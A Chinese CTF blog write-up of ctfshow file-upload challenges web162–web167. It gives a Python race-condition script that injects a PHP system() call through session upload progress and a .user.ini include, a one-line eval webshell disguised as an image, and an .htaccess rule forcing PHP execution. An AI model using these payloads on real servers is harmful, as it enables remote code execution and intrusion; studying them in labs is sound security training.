ctfshow web入门 文件上传web162--web167

web162

session文件包含+条件竞争
直接包含不传马了

我们上传的文件如果不符合要求,就会被删除,导致成功上传无法访问,没有用。但是如果我们上传的速度比服务器删的速度快,就可以了。
上传.user.ini

GIF89a
auto_append_file=/tmp/sess_hhh

这后面这个hhh,你们可以自己修改,把脚本的也改了就是
在这里插入图片描述 脚本

import requests
import threading
import re

session = requests.session()
sess = 'hhh' #之前上传时自拟的名字
url1 = "http://12d363d9-266c-4a6d-bb94-1a2ce754c8f7.challenge.ctf.show/"
url2 = "http://12d363d9-266c-4a6d-bb94-1a2ce754c8f7.challenge.ctf.show/upload"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
'file': 'yu22x tql' #文件名,随便改就行
}
cookies = {
'PHPSESSID': sess
}

def write(): #上传文件竞争过程
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)

def read():
while True: #每次竞争完都访问一下url/uoload看有没有flag
r = session.get(url2)
if 'flag' in r.text:
flag=re.compile('ctfshow{.+}') #我在做题的时候flag格式已经改成ctfshow{}了
print(flag.findall(r.text))

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

在这里插入图片描述

web163

一样的操作,如上题,如果代码跑不出来,要么忘记改要么就是没有放包

web164

二次渲染,暂时不会

web165

二次渲染也是不会

web166

在这里插入图片描述

只能上传压缩文件,我们就在压缩文件末尾里面添加一句话木马就行了
在这里插入图片描述

然后进入下载页面的时候抓包(“下载文件的时候抓包”)
在这里插入图片描述点击下载文件不用抓包进入页面
在这里插入图片描述
在这里插入图片描述#### 本题总结可能你们并不觉得这道题难但是这道题确实难到我了,我做了很久总结一下可能错误的点
压缩文件太大或者太小导致上传不成功或者很难去

web167

在这里插入图片描述只能传jpg文件在这里插入图片描述上传图片马

m.png

<?php eval($_POST[a]);?>

访问upload没权限在这里插入图片描述查了一下要使用.htaccess对所有文件进行php解析
.htaccess

Sethandler application/x-httpd-php
<!-将该目录及子目录下的文件均按照php文件解析执行-->

在这里插入图片描述访问上传的文件,进行命令执行在这里插入图片描述

【END】
阅读 18 | 发布于 2024-04-18
暂无评论